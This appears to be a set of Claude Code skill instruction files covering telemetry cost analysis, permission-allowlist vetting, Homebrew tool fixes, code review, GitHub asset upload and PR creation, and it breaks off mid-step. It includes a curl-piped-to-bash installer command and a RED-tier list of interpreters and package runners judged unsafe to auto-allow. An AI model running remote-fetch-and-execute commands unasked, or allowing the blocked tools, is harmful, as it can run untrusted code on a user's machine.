Claude Code Cost Analysis

A framework and ready-to-use query shapes for analyzing Claude Code usage costs across a team or org.

Prerequisites: you need Claude Code telemetry

Claude Code can export usage as OpenTelemetry metrics and events (CLAUDE_CODE_ENABLE_TELEMETRY=1 plus an OTLP endpoint — see the Claude Code monitoring docs). Point that export at an observability backend (Honeycomb, Datadog, an OTLP collector into a warehouse, etc.). This skill analyzes that data.

The example queries in references/queries.md are written for Honeycomb (environment/dataset names are placeholders — substitute wherever you send telemetry). The analysis dimensions and cost formulas are backend-agnostic — the same shapes translate to any store that has per-api_request rows with token counts, cost_usd, model, and session.id.

A few attribute names in the examples (user.email, speed, skill.name, normalized_file_path) are enrichments that depend on your telemetry pipeline and Claude Code version — verify column names against your own data (get_dataset_columns or the equivalent) before relying on them. Numeric fields are sometimes stored as strings; cast with FLOAT(...) before aggregating (see the query examples).

Analysis Dimensions

Each dimension answers a different question. Run whichever are relevant — there is no required order, though broader dimensions provide context for narrower ones.

Apply cost formulas from references/cost-model.md when computing dollar estimates from token counts.

Illustrative Findings

These are shape-of-the-problem findings from one large deployment — useful to calibrate expectations, not ground truth for your org. Always verify against fresh queries against your own data.

Cost distribution

Session turn phases

Tool result sizes (typical ranges)

Context window behavior

• A small fraction of sessions trigger auto compaction.
• The most expensive sessions rarely compact — they grow to a large context and stay just below the window limit.
• Sessions on smaller context windows compact more often and cost far less per call than sessions on the largest window with equivalent workloads.

Key Analysis Patterns

Matched session comparison

The most compelling way to demonstrate context-size impact on cost is finding two sessions with similar API-call counts but different context behaviors — one with high average cache_read (bloated, likely on the largest window) and one low (lean, compacting or on a smaller window). The per-session query (Section 6a adapted to break down by session.id) surfaces these pairs.

User segmentation by context usage

Classify users by what % of their calls exceed a large cache_read threshold (Section 6a, calls_over_200k field):

• 0% over threshold — never needs the largest context, would work on a smaller window
• 1-10% — rarely needs it, benefits most from proactive compaction
• 60%+ — genuinely needs the largest context (investigate what tools drive it via Section 6b)

Important Caveats

Quality vs cost tradeoff: Cost optimizations (model downshift, aggressive compaction, smaller context windows) may degrade output quality. Measure quality objectively before changing configuration. Cost savings mean nothing if the tool becomes less useful.

Caching IS helping: Prompt caching reduces the bill substantially vs uncached input. The remaining cost is driven by the volume of cached tokens, not by caching being inefficient.

Instructions are a small share: CLAUDE.md files, rules, and skills are a small fraction of total spend. The real cost drivers are session length and context accumulation from tool results.

Generating Reports

Capture findings in markdown reports. See references/report-templates.md for standard structures. Name files {report-type}-{YYYY-MM-DD}.md.

Reference Files

• references/queries.md — Example Honeycomb queries organized by analysis dimension
• references/cost-model.md — Token pricing ratios, per-call/per-session cost formulas, caching economics
• references/report-templates.md — Standard report structures for each analysis type
• references/column-gotchas.md — Data-quality gotchas specific to cost analysis

Scripts

• scripts/compute_percentiles.py — Compute p10/p25/p50/p75/p90/p99 from per-user query result sets

Permissions Analyzer

The mechanical scan of session history for frequently-approved commands is a job for Claude Code's built-in /fewer-permission-prompts skill and permission auto mode (https://code.claude.com/docs/en/permissions). This skill adds the layer neither provides: an opinionated safety filter plus a guarded write into the user's global ~/.claude/settings.json. The built-in scan does not apply the RED override below, so it can auto-allow commands this skill would reject — this skill applies the filter.

Modes

Pick the mode from the argument after /permissions-analyzer:

• disable (or off, stop, mute) — silence the proactive suggestion nudge. Run touch ~/.claude/.disable-permissions-analyzer-suggestions, confirm the tips are off for all sessions, and mention /permissions-analyzer enable turns them back on. Do not run the vet-and-merge flow.
• enable (or on) — re-enable the nudge. Check whether ~/.claude/.disable-permissions-analyzer-suggestions exists, run rm -f ~/.claude/.disable-permissions-analyzer-suggestions, then confirm — say the suggestions are back on if the marker existed, or that they were never disabled if it did not. Do not run the vet-and-merge flow.
• No argument (default) — run the vet-and-merge flow below.

The marker only governs the proactive suggestions; the flow is always available by running /permissions-analyzer with no argument.

Vet-and-merge flow

The goal: get safe, high-frequency commands onto the auto-allow list without letting anything that can execute arbitrary code slip through.

1. Get candidate commands. Prefer the built-in scan — point the user at /fewer-permission-prompts, which mines their session history and proposes an allowlist. Also accept a list the user pastes or the entries already in their permissions.allow. For users who want prompts gone entirely rather than command-by-command, mention permission auto mode as the broader option. With no candidates supplied and nothing to review, do not fabricate a classified list — route the user to /fewer-permission-prompts first, then vet what it returns.
2. Audit what the built-in already wrote, and strip RED. The built-in scan writes to the project .claude/settings.json allowlist without applying the RED override. When the user has already run it, read that allowlist (and the user's ~/.claude/settings.json), identify any RED entries, and — on the same explicit confirmation the write path requires — remove them from the allowlist. Flagging alone is not enough: a RED rule the built-in auto-allowed stays active until it is removed.
3. Classify each candidate into GREEN / YELLOW / RED using references/safety-tiers.md. The RED override is the whole point of this skill — see below.
4. Present grouped by tier in a table before asking for confirmation.
5. Merge the safe ones into ~/.claude/settings.json on explicit confirmation.

Read references/safety-tiers.md first

Classification rules and the permission syntax table live there. Two things matter most:

• The RED override. Anything that can execute arbitrary code — directly or via run/exec/start subcommands — is RED, even if the same tool is a "package manager" or "build tool". npm, npx, uv, bundle, pipx, bunx, deno, mise and bare interpreters (bash, python, node, ruby) are never auto-allow candidates.
• Read-only is not "looks read-only". A linter is GREEN only when it cannot mutate files (eslint without --fix, rubocop without -A/-a).

references/security-rationale.md covers the threat model (prompt injection, supply chain, side effects) — cite it when a user pushes back on a RED.

Constraints:

• Present the classified commands grouped by safety tier in a table before asking for confirmation.
• Dedup against the target file — the user's global ~/.claude/settings.json permissions.allow. Skip a command only if it is already allowed there; a command being present in the project .claude/settings.json allowlist is not a reason to skip promoting it to the global allowlist.
• Never write to ~/.claude/settings.json without explicit user confirmation via AskUserQuestion. Show the diff first.
• When merging accepted patterns into permissions.allow, preserve every other key in settings.json — surgical merge, never a full-file overwrite.
• Back up the file before attempting to repair a malformed settings.json.
• Use the Permission Syntax table in safety-tiers.md for rule format — don't improvise patterns.

Resources

• references/safety-tiers.md — Classification rules, RED override, permission syntax
• references/security-rationale.md — Threat model and defense layers

Tool Misses

Scan recent Claude Code sessions for tool failures — missing commands and BSD/GNU incompatibilities — then fix them with Homebrew and record availability in CLAUDE.md.

Response Style

Skip narration and transitional commentary. Run each step, then present the findings or ask the user directly. Do not preface tool calls with sentences like "Now I'll run the scanner" or "Let me check whether Homebrew is installed", and do not paraphrase script output the user can already see — show the tables and the questions, nothing else.

Workflow

Step 0: Handle enable/disable arguments

This skill accepts an optional argument that controls its companion PostToolUse hook (suggest-tool-misses.sh), which nudges the user toward this skill when a tool failure is detected in Bash output. The hook reads a persistent marker file at ~/.claude/.disable-tool-misses-hook and stays silent whenever it exists.

Dispatch on the argument before doing anything else:

• off, disable, stop, mute, or silence → silence the hook:

  touch ~/.claude/.disable-tool-misses-hook
  

  Confirm suggestions are off until re-enabled with /tool-misses on, then STOP (do not run a scan).
• on, enable, start, or unmute → re-enable the hook:

  rm -f ~/.claude/.disable-tool-misses-hook
  

  Confirm suggestions are back on, then STOP (do not run a scan).
• status → report whether the hook is on or off:

  test -f ~/.claude/.disable-tool-misses-hook && echo "off" || echo "on"
  

  Report the result, then STOP.
• No argument, scan, or anything else → proceed to Step 1.

Step 1: Detect tool misses

Run the scanner script against recent session transcripts:

python3 ${CLAUDE_PLUGIN_ROOT}/skills/tool-misses/scripts/detect-tool-misses.py

This scans ~/.claude/projects/*/*.jsonl files from the last 14 days. It looks at Bash tool_use + tool_result pairs and matches error output against two pattern sets:

• Missing tools: command not found errors
• Wrong version / incompatibility: BSD vs GNU errors (e.g., grep -P failing, sed -i syntax differences, find -printf not supported)

Output is JSON with missing_tools[], wrong_version_tools[], and scan_summary{}.

If the script finds no misses, report that and stop.

Step 2: Check current state

For each detected tool, check whether it has already been resolved:

command -v <tool>        # Is it installed now?
command -v g<tool>       # Is the GNU version available?
brew --prefix 2>/dev/null # Is Homebrew installed?

Categorize each tool as: still missing, now installed but not in CLAUDE.md, or fully resolved.

Step 3: Look up fixes

Consult references/tool-database.md for each detected tool to find:

• The correct Homebrew formula
• The g-prefix command name (for GNU tools)
• Guidance text for CLAUDE.md

For tools not in the database, note them as "unknown — manual resolution needed".

Step 4: Present report

Show the findings in tables grouped by status:

## Missing Tools (not currently installed)
| Tool | Error | Homebrew Formula | Occurrences |
|------|-------|------------------|-------------|
| filterdiff | command not found | patchutils | 3 |

## BSD/GNU Incompatibilities
| Tool | Error Pattern | Fix | g-prefix |
|------|---------------|-----|----------|
| grep | invalid option -- P | brew install grep | ggrep |

## Already Resolved (installed since the error)
| Tool | Status |
|------|--------|
| jq   | Now installed |

## GNU Tools Available but Not in CLAUDE.md
| Tool | g-prefix | Formula |
|------|----------|---------|
| gsed | gsed     | gnu-sed |

Only show sections that have entries. If everything is resolved, say so and skip to Step 8.

If the scanner output includes ignored_tools, mention how many were skipped:

(3 previously dismissed tools hidden — edit ~/.claude/tool-misses-ignored.json to reset)

Step 5: Prompt for action — per tool

Present each detected tool individually for the user to decide. For each tool, use AskUserQuestion with these options:

• Install + add to CLAUDE.md (Recommended) — Install via Homebrew and record in CLAUDE.md
• Install only — Install but don't modify CLAUDE.md
• CLAUDE.md only — Already installed, just add the CLAUDE.md entry
• Dismiss permanently — Not needed; hide from future scans

If a tool has no known Homebrew formula, adjust options to only show "Dismiss permanently" and "Skip for now".

Dismiss behavior: When the user dismisses a tool, add it to ~/.claude/tool-misses-ignored.json:

{
  "ignored": ["qmd", "init_common"],
  "notes": {
    "qmd": "Dismissed 2026-02-08 — short-term experiment",
    "init_common": "Dismissed 2026-02-08 — shell function, not a tool"
  }
}

Read the file first (or start with empty {"ignored":[], "notes":{}}) and merge. The scanner automatically filters out tools in this list on future runs.

Step 6: Install tools

For each tool the user approved for installation:

brew install <formula>

After each install, verify it worked:

command -v <tool> && echo "OK" || echo "FAILED"

If a GNU tool was installed, also verify the g-prefix command:

command -v g<tool> && echo "OK" || echo "FAILED"

Report any install failures and continue with the rest.

Step 7: Update CLAUDE.md

Add a ## Tool Availability (macOS) section to ~/.claude/CLAUDE.md (global config, since these are system-wide tools). Follow these rules:

• Consult references/claude-md-templates.md for entry format
• Show proposed additions before writing — never write without confirmation
• Don't duplicate entries that already exist in CLAUDE.md
• If the section already exists, append new entries to it
• If the file doesn't exist, create it with just the tool availability section

Read the current file first:

cat ~/.claude/CLAUDE.md 2>/dev/null || echo ""

Show the proposed changes as a diff-style preview before applying.

Step 8: Summarize

Show a final summary:

## Summary

Installed: filterdiff (patchutils), rg (ripgrep)
CLAUDE.md: Added 3 entries to ~/.claude/CLAUDE.md
  - GNU grep available as ggrep
  - GNU sed available as gsed
  - filterdiff available (patchutils)

Dismissed: qmd, init_common (won't appear in future scans)
No action needed: jq (already installed and in CLAUDE.md)

Error Handling

No session files found:

• Check if ~/.claude/projects/ exists
• Suggest the user has a new install or cleared history
• Offer to scan a custom path

Homebrew not installed:

• Warn that brew is required for installation
• Still offer to update CLAUDE.md with manual install instructions
• Provide the Homebrew install command: /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Script errors:

• If the Python script fails, show the error and suggest running it manually
• Fall back to a simpler scan if needed

Additional Resources

• references/tool-database.md — Complete error pattern → Homebrew formula mappings
• references/claude-md-templates.md — Templates for CLAUDE.md entries
• scripts/detect-tool-misses.py — Session scanner script

Thermo-Nuclear Code Quality Review

An unusually strict review focused on structural quality, architectural health, abstraction cleanliness, and codebase maintainability. This is not a correctness review — it asks whether the code is making the codebase better or worse.

The guiding principle is code judo: actively search for restructurings that preserve behavior while making the implementation dramatically simpler, smaller, more direct, and more elegant. Do not stop at "this could be a bit cleaner." Look for moves where whole branches, helpers, modes, conditionals, or layers disappear entirely. Prefer the solution that feels inevitable in hindsight.

Scope — What This Review IS and IS NOT

If a correctness review or repo-specific rule enforcement is needed, run that separately. This skill is the architectural conscience.

Review Context

• Pin the fixed point first: Establish what the diff is measured against before reading any code. Use whatever the user supplies — a PR URL, branch, commit SHA, tag, main, or HEAD~5. If none is given, ask. Then capture the diff once with a three-dot (merge-base) comparison: git diff <fixed-point>...HEAD, and the commit list with git log <fixed-point>..HEAD --oneline. Before analyzing, confirm the ref resolves (git rev-parse <fixed-point>) and the diff is non-empty — a bad ref or empty diff should fail here, not surface as a confusing empty review.
• Full-file reads required: For every file with >10 lines changed, read the entire file, not just diff hunks. Structural review depends on surrounding patterns, file size before the change, and consistency with existing conventions.
• Pre-change file size matters: For files already >800 lines, note the pre-change line count — the 1000-line threshold (Standard 1) is evaluated against the post-change total.
• Large diffs: For diffs >200 changed lines, save to a temp file for reference during analysis.
• Code smell baseline: Apply references/code-smells.md alongside the standards — an always-on set of Fowler structural smells (Feature Envy, Data Clumps, Primitive Obsession, Shotgun Surgery, etc.) that catches structural problems the numbered Standards don't name explicitly.
• Skip what tooling enforces: RuboCop, ESLint, Prettier, and type-checkers already block formatting, naming-convention, and lint issues. Do not spend findings on what CI catches — the review's value is the structural judgement no linter can make.
• Concrete suggestions: For each finding, identify the specific standard or smell violated, locate the exact file and line range, and draft a concrete code judo move or restructuring — not a vague observation.

Non-Negotiable Standards

0. Be ambitious about structural simplification

Do not stop at "this could be a bit cleaner." Look for opportunities to reframe the change so that whole branches, helpers, modes, conditionals, or layers disappear entirely. Assume there is often a code judo move available — a reorganization that uses the existing architecture more effectively and makes the change dramatically simpler. If you see a path to delete complexity rather than rearrange it, push hard for that path.

1. Do not let a PR push a file past 1000 lines without a very strong reason

Treat crossing 1000 lines as a structural smell. Prefer extracting helpers, subcomponents, modules, or local abstractions instead of letting a file sprawl. If the diff crosses that threshold, explicitly call it out. Only waive this if the file is clearly organized and the growth is structurally justified — not just "I added more methods here because this is where the other ones are."

2. Do not allow random spaghetti growth

Be highly suspicious of new ad-hoc conditionals, scattered special cases, or one-off branches inserted into unrelated flows. If a change adds if-statements in unrelated code paths, treat that as a design problem, not a stylistic nit. Prefer pushing the logic into a dedicated abstraction, helper, state machine, policy object, or separate module instead of tangling an existing path. Call out changes that make the surrounding code harder to reason about, even if they technically work.

3. Bias toward cleaning the design, not just accepting working code

If behavior can stay the same while the structure becomes meaningfully cleaner, push for the cleaner version. Do not rubber-stamp "it works" implementations that leave the codebase messier. Strongly prefer simplifications that remove moving pieces altogether over refactors that merely spread the same complexity around.

4. Prefer direct, boring, maintainable code over hacky or magical code

Treat brittle, ad-hoc, or "magic" behavior as a code-quality problem. Be skeptical of generic mechanisms that hide simple data-shape assumptions. Flag thin abstractions, identity wrappers, or pass-through helpers that add indirection without buying clarity.

5. Push hard on type and boundary cleanliness

Question unnecessary optionality, loosely-typed interfaces, excessive use of Hash params in Ruby, any/unknown in TypeScript, or cast-heavy code when a clearer type boundary could exist. Prefer explicit typed models or shared contracts over loosely-shaped ad-hoc objects. If a branch relies on silent fallback to paper over an unclear invariant, ask whether the boundary should be made explicit.

6. Keep logic in the canonical layer

Most non-trivial codebases have clear architectural layers. Feature logic must not leak into shared paths, and implementation details must not leak through APIs. Prefer existing canonical utilities over bespoke one-offs. Push code toward the right module instead of normalizing architectural drift.

7. Feature flags must not create permanent branching debt

A feature flag is a temporary deployment mechanism, not a long-term branching strategy. Flag usage that:

• Adds conditionals in 3 or more locations (the flag is structuring too much logic)
• Has no clear cleanup path (no linked issue, no expiry, no # TODO: remove after...)
• Branches deeply inside existing methods rather than wrapping at a higher level
• Creates nested conditionals (if flag_a && flag_b)

8. Treat unnecessary sequential orchestration and non-atomic updates as design smells

If independent work is serialized for no good reason, ask whether the flow should run in parallel. If related updates can leave state half-applied, push for a more atomic structure. Do not over-index on micro-optimizations, but flag avoidable orchestration complexity that makes the implementation more brittle.

Common Structural Patterns by Stack

The patterns below are common architectural conventions worth checking regardless of which specific standards or repo-local guides apply. Adapt them to whatever stack the codebase under review actually uses.

Layered backends (e.g. a Rails or similar monolith):

• Controllers should be thin — orchestration belongs in commands, domain logic in services
• Callbacks (after_save, before_create) that grow beyond simple defaults are a structural smell — prefer explicit service calls
• Concerns/mixins that accumulate unrelated methods are God-object anti-patterns — each concern should have a single cohesive purpose
• N+1 queries introduced by new associations or loops are a structural problem (the query boundary is in the wrong place), not just a performance nit

Frontend (e.g. React, Ember, or similar component frameworks):

• Components past 300 lines of template/JSX should be decomposed
• Shared modules (e.g. packages/, lib/) must not accumulate feature-specific logic
• Mixing older and newer framework idioms within the same file is architectural regression

Workers/Queues:

• New workers must be idempotent — the same message processed twice should produce the same result
• Workers that mix orchestration with business logic should be split
• DLQ-unaware workers (no error handling strategy) are a structural gap

Structural Code Smell Baseline

Beyond the numbered Standards, carry an always-on baseline of Fowler's structural "Bad Smells in Code" — the full catalogue with what it is → how to fix lives in references/code-smells.md. It is the structural floor every diff is measured against, even when the touched files document no standards of their own. It is not a new axis (this skill stays single-axis and structural); it widens recall for smells the Standards don't name explicitly: Mysterious Name, Feature Envy, Data Clumps, Primitive Obsession, Repeated Switches, Shotgun Surgery, Divergent Change, Message Chains, Refused Bequest.

Two binding rules keep the baseline honest — the repo overrides the baseline, and every smell is a judgement call, never a hard violation. references/code-smells.md is the single source of truth for both rules and how they bind; apply them from there.

Escalation Triggers

Beyond the standards above, escalate aggressively when you see patterns that compound over time:

• A complicated implementation where a code judo reframing could delete whole categories of complexity
• Refactors that move code around but fail to reduce the concepts a reader must hold
• Copy-pasted logic instead of extracted helpers, or bespoke helpers duplicating a canonical utility
• "Temporary" branching likely to become permanent debt
• Callbacks growing beyond simple defaults into orchestration logic
• At scale: chatty service calls, unbounded queries, synchronous work that should be async

Preferred Remedies

When identifying a structural problem, prefer suggestions like:

• Delete a whole layer of indirection rather than polishing it
• Reframe the state model so conditionals disappear instead of getting centralized
• Change the ownership boundary so the feature becomes a natural extension of an existing abstraction
• Turn special-case logic into a simpler default flow with fewer exceptions
• Extract a helper or pure function from an overloaded method
• Split a large file into smaller focused modules
• Move feature-specific logic behind a dedicated abstraction
• Replace condition chains with a typed model, enum, or explicit dispatcher
• Separate orchestration from business logic (commands orchestrate, services contain logic)
• Collapse duplicate branches into a single clearer flow
• Delete wrappers that do not meaningfully clarify the API
• Reuse the existing canonical helper instead of introducing a near-duplicate
• Extract a concern only if it has a single cohesive purpose (not a junk drawer)
• Move the logic to the layer that already owns the concept
• Make the worker idempotent by checking state before mutating it

Do not be satisfied with "maybe rename this" feedback when the real issue is structural. Do not be satisfied with a merely cleaner version of the same messy idea if there is a plausible path to a much simpler idea.

Review Tone

Be direct, serious, and demanding about quality. Do not be rude, but do not soften major maintainability issues into mild suggestions. If the code is making the codebase messier, say so clearly. If the implementation missed an opportunity for a dramatic simplification, say that clearly too.

Good phrases:

• "this pushes the file past 1k lines — can we decompose before adding more?"
• "this adds another special-case branch into an already busy flow — can we move this behind its own abstraction?"
• "this works, but it makes the surrounding code more tangled — let's keep the behavior and restructure"
• "this feels like feature logic leaking into a shared path — can we isolate it?"
• "this abstraction isn't earning its keep — can we just use the direct flow?"
• "there's a code judo move here — if we restructure X, these three branches disappear entirely"
• "this concern is becoming a junk drawer — it mixes unrelated responsibilities"
• "this controller is doing domain logic that belongs in a service/command"
• "this callback chain is growing into orchestration — extract to an explicit service call"
• "this worker isn't idempotent — what happens if the same message is processed twice?"

Output Format

Present findings in priority order.

Severity Levels

1. BLOCKER — Structural regression that should not merge. Clear architectural violation, unjustified file-size explosion, or missed code judo move that would dramatically simplify the change.
2. MAJOR — Significant structural concern that will create maintenance burden. Spaghetti growth, layer violations, permanent branching debt.
3. SUGGESTION — Structural improvement opportunity. The code works and is not actively harmful, but there is a cleaner path.

Format per finding

### [BLOCKER/MAJOR/SUGGESTION] — <Short title>
**File:** `path/to/file.rb:L42-L67`
**Rule:** <Which standard this violates>

<2-3 sentences: what is wrong and why it matters structurally>

**Code judo move:** <Specific restructuring that would eliminate the problem, if applicable>

Verdict

End every review with exactly one of:

APPROVE — No structural regressions. The codebase is as healthy or healthier after this change.

RETHINK — Blocker(s) found. The implementation needs structural rework before merge. Summarize what needs to change.

REFINE — No blockers, but major issue(s) worth addressing. Summarize the improvements.

Approval Bar

Do not approve merely because behavior seems correct. The bar is: no violation of Standards 0–8 above that the author cannot clearly justify. In particular, treat these as presumptive blockers:

• A plausible code judo move exists that would delete significant incidental complexity
• The PR pushes a file past 1000 lines
• The PR scatters feature checks across shared code instead of isolating them
• The PR duplicates an existing helper or puts logic in the wrong layer
• The PR adds a worker without idempotency guarantees

Attach GitHub Assets

Upload local files to GitHub via uploads.github.com/user-attachments/assets.

Contract: if loaded, run the script

This skill exists to call upload.sh. If it is loaded with a local file path in context, you MUST run the script — do not describe the flow, do not propose markdown without uploading, do not stop after acknowledging the request. The only correct trajectory ends with a gh/curl-backed upload and a returned asset URL.

If no local file path is present and none can be inferred from conversation, output no-op: no local file path and exit — do NOT call upload.sh with a placeholder, a remote URL, or a guessed path.

When to Self-Invoke

Self-invoke ONLY when all of the following hold:

1. The user (or a calling skill) references a concrete local file path — absolute (/tmp/..., ~/Desktop/...) or relative to cwd — for an image (png, jpg, jpeg, gif, webp, svg) or video (mov, mp4, webm).
2. The destination is GitHub — a PR body, issue body, PR/issue comment, or /create-sub-issues flow.

Canonical triggers:

• User pastes a local screenshot/recording path and asks to put it on a PR/issue.
• A PR-creation flow is producing a body and the conversation already contains visual context (e.g. QA screenshots, extracted video frames).

When NOT to invoke

• The change is backend/logic only and no images or recordings have been mentioned. Most PR-creation prompts in this category never need this skill — do not load it speculatively.
• The user references a remote URL (already on GitHub, Slack, S3, etc.). The script only handles local files.
• No file path appears in the conversation. "Should I add a screenshot?" is a question, not an invocation.
• The file is not a supported type (see upload.sh for the list — only image/video formats are accepted).

If you have been loaded but none of the "When to Self-Invoke" conditions are met, emit no-op: <reason> and return control. This is the script-first path; staying loaded without uploading is the failure mode.

Flow

Step 1: Resolve file path(s)

• If $ARGUMENTS is set, use those file path(s) verbatim — one per upload.
• Otherwise, scan the recent conversation for local image/video paths. Use only paths the user actually referenced; do not invent paths.

upload.sh itself errors on missing files (File not found: <path>), so do not pre-gate on existence — pass the user's path through and surface the script's error verbatim if it fails.

Step 2: Run the upload script — once per file

${CLAUDE_PLUGIN_ROOT}/skills/attach-github-assets/scripts/upload.sh "<file-path>"

The script auto-detects the repo ID from git remote and MIME type from extension. Returns the asset URL on stdout, exits non-zero on failure.

To override repo ID (e.g. uploading from a worktree whose remote isn't the target repo):

${CLAUDE_PLUGIN_ROOT}/skills/attach-github-assets/scripts/upload.sh "<file-path>" <repo_id>

Run the script once per file — never batch into a single invocation, never substitute curl or a different upload mechanism.

Step 3: Return markdown for the returned URL(s)

• Images (png, jpg, jpeg, gif, webp, svg) → ![{filename}]({url})
• Videos (mov, mp4, webm) → paste the URL on its own line; GitHub auto-renders video URLs and ![]() would break that.

Examples

• /attach-github-assets ~/Desktop/screenshot.png
• /attach-github-assets /tmp/before.png /tmp/after.png

Pull Request Creation

Core Rules

1. NEVER dispatch a sub-agent. Run every step of this workflow directly in the main session — the Task/Agent tool is deliberately not in this skill's allowed-tools. Dispatching to a sub-agent is a common failure mode: subagents lose the session's intent, can't see the diff in context, and re-ask intent questions you already answered. If you find yourself reaching for Task(...) — even to "run this in parallel", "off-load the boring parts", or "delegate the gh pr create" — stop and run the next step inline instead. This rule overrides any general preference for parallelism, delegation, or context-window savings.

2. NEVER push past an explicit user rejection. Before running any step, scan the recent session for signals like "don't push anything yet", "don't make a PR", "hold off on the PR", "not ready for a PR", "wait before opening a PR". If you see one, STOP — do not run gh pr create, do not push. Surface what the user said and ask whether they have changed their mind, then wait. A user rejection in the same session is a hard halt, not a hint.

3. NEVER fabricate intent. Most users say "do X" without explaining why. When intent is missing (which is usually the case), ASK before creating the PR.

4. NEVER list files. No "Files Updated" or "Files Changed" sections. GitHub shows this already.

5. NEVER narrate code changes. Don't explain what the code does in human language. The diff shows the implementation.

6. NEVER speculate on risks. Only include risks if the user explicitly mentioned them.

7. NEVER include a "Test plan" section. Omit any test plan, test checklist, or testing instructions from PR descriptions.

8. NEVER call gh pr create without first running check-pr-context.sh. Step 1.5 (check-pr-context.sh) must appear in the Bash tool-call trace before gh pr create — it is the authoritative source for repo visibility, branch state, and default branch. Never infer its output from prompt text, prior turns, session context, or your own judgement — the script is cheap, deterministic, and non-substitutable. "The user said the repo is private" / "I already know the branch name" / "the intent is obvious" are NOT reasons to skip. If the diff shows you calling gh pr create without the Bash call preceding it, restart the workflow at step 1.5.

Workflow

Execute all steps below directly in this session. Per Core Rules 1 and 8, no sub-agent / Task dispatch, and the context script runs inline before any gh pr create.

1. Look for intent in session history

Did the user explicitly state:

• What problem they're solving?
• Why they need this change?

"Do X" is not intent. "Add button to page" describes WHAT, not WHY.

1.5. Check repo context (once, reuse everywhere)

Always run this script — even if the user mentions visibility or branch name in their message. The script is the authoritative source; never infer from prompt text.

Run it once early and reuse the results for steps 2, 2.5, 3, and 3.6:

bash "${CLAUDE_PLUGIN_ROOT}/skills/create-pr/scripts/check-pr-context.sh"

Returns JSON:

{
  "repo": "your-org/your-repo",
  "visibility": "PUBLIC",
  "branch": "fix/typo",
  "already_pushed": false,
  "default_branch": "main"
}

Use these values throughout the workflow:

• visibility is PUBLIC, PRIVATE, or INTERNAL
• PUBLIC → apply public-repo safeguards in steps 2, 2.5, and 3.6
• PRIVATE or INTERNAL → skip public-repo safeguards
• already_pushed → if true, skip branch rename in step 2 (renaming after push is disruptive)
• default_branch → starting point for base branch in step 3 (adjust if upstream tracking differs)

Do NOT query isPrivate — its polarity inverts the natural-language framing and has caused repeat misreads where isPrivate=true was treated as "public".

2. Ask for intent (usually needed)

Most sessions won't have intent. Ask:

Before creating this PR, I need to understand the intent behind this change.

What problem does this solve, and why is this change needed?

2.5. Check for auto-generated branch names

Using branch from step 1.5: if it looks meaningless, random, or unrelated to the intent, suggest a descriptive rename and ask the user to confirm. Skip if already_pushed is true — renaming after push is disruptive.

Prefix the new name with your GitHub login (gh api user -q .login) if that succeeds; otherwise omit the prefix. Rename with git branch -m <new-name>.

Public repo branch names: If visibility is PUBLIC (from step 1.5), also verify the branch name doesn't contain internal identifiers — internal IDs, customer names, private project codenames, or team-specific references. If it does, suggest a sanitized rename.

3. Commit and push if needed

If changes aren't committed and pushed, do that first. Always push with -u to set upstream tracking: git push -u origin <branch>.

Public repo commit messages: If the repo is public (per step 1.5), before pushing review all commit messages on the branch (git log --oneline <base-branch>..HEAD). If any commit message contains internal identifiers, customer data, internal URLs, or team-specific references, warn the user and suggest amending or squashing before pushing — once pushed to a public repo, commit messages are permanently visible even if force-pushed later (cached by bots, mirrored, or already fetched).

3.5. Determine the base branch

Start with default_branch from step 1.5. Override it if the current branch has an upstream tracking branch that differs: git rev-parse --abbrev-ref @{upstream} 2>/dev/null. If the upstream tracks a different remote branch (e.g., develop instead of main), use that as the base. If uncertain, ask the user. Always pass --base <branch> to gh pr create.

3.55. Validate diff matches intent

Before writing the PR description, review the actual diff to ensure it matches the user's intent:

1. Run git diff <base-branch>...HEAD --stat to see all files changed
2. Compare the changed files against what the user discussed in this session
3. If there are unexpected files — files changed that weren't part of the conversation — STOP and warn the user:

I notice the diff includes changes to files we didn't discuss:
- <unexpected file 1>
- <unexpected file 2>

These may be leftover changes from a previous session. Should I:
1. Proceed with all changes in one PR
2. Help you split these into separate commits/PRs
3. Exclude them (you'll need to stash or reset those files)

4. Only proceed once the user has confirmed the diff is intentional
5. When writing the PR description, base the "How?" section on the actual diff alone — the conversation context informs Why, never How

3.6. Public repo description and title safeguards

If the repo is public (per step 1.5), the PR description will be visible to anyone on the internet without authentication. Apply these rules:

• No internal URLs — internal dashboards (observability, error tracking, metrics), private wikis, internal docs, admin tools, or any company-internal domains
• No internal identifiers — team names, group names, employee names, internal IDs, private project codenames
• No internal process details — references to internal tools, deployment pipelines, feature flag names, or issue links from private repos
• No customer data — customer names, account IDs, user IDs, or anything that could identify a customer
• Keep it general — describe the what and why in terms any external contributor could understand

These rules apply to the PR title as well — the title is even more visible than the description (it appears in search engine results, GitHub notification emails, and RSS feeds). Keep titles generic and free of internal context.

If the user's stated intent contains sensitive details, rephrase it in generic terms. Ask the user to confirm the sanitized description and title before creating the PR.

Always print this warning to the user before creating the PR on a public repo:

WARNING: This repository is PUBLIC. The PR title, description, comments,
commits, and full diff will be permanently visible to anyone on the internet
— even if the PR is later closed or the branch is deleted, the history remains.

Please review the PR description above and confirm you're comfortable with
everything in it being public.

Wait for the user to explicitly confirm before proceeding with gh pr create.

4. Create or update PR

Use gh CLI for all PR operations:

Create new PR:

gh pr create --base "<base-branch>" --title "<title>" --body "$(cat <<'EOF'
<description body here>
EOF
)"

If the user explicitly requested a draft PR, add --draft.

Update existing PR:

gh pr edit --body "$(cat <<'EOF'
<description body here>
EOF
)"

Check if PR exists: gh pr view --json number 2>/dev/null

If PR already exists for branch, update its description. Otherwise create new PR.

Description format:

### Why?

[The problem we're solving - from user's explanation, NOT fabricated]

### How?

[High-level approach - 1-2 sentences. Do NOT list changes or files. The diff shows the implementation.]

<details>
<summary>Implementation Plan</summary>

[PLAN_CONTENT — see "Finding the plan file" below. If no plan file found, omit this entire <details> section.]

</details>

<sub>Generated with Claude Code</sub>

Issue/PR references: When referencing related issues or PRs, use bulleted lists (- #123) so GitHub renders them as rich linked cards.

Avoid accidental issue links: On GitHub, # followed by a number (e.g., #1, #42) automatically creates a hyperlink to the issue/PR with that number. Only use #NUMBER when intentionally linking to an issue or PR. Never use it in prose like "the #1 cause" or "#3 priority" — rephrase instead (e.g., "the top cause", "third priority"). If a literal # before a number is unavoidable, escape it with a backslash (\#1).

Finding the plan file:

1. Check conversation history first. Look in this conversation for a system message containing a path like ~/.claude/plans/<name>.md. When plan mode was used, the system always injects the full path. Use it directly with the Read tool.
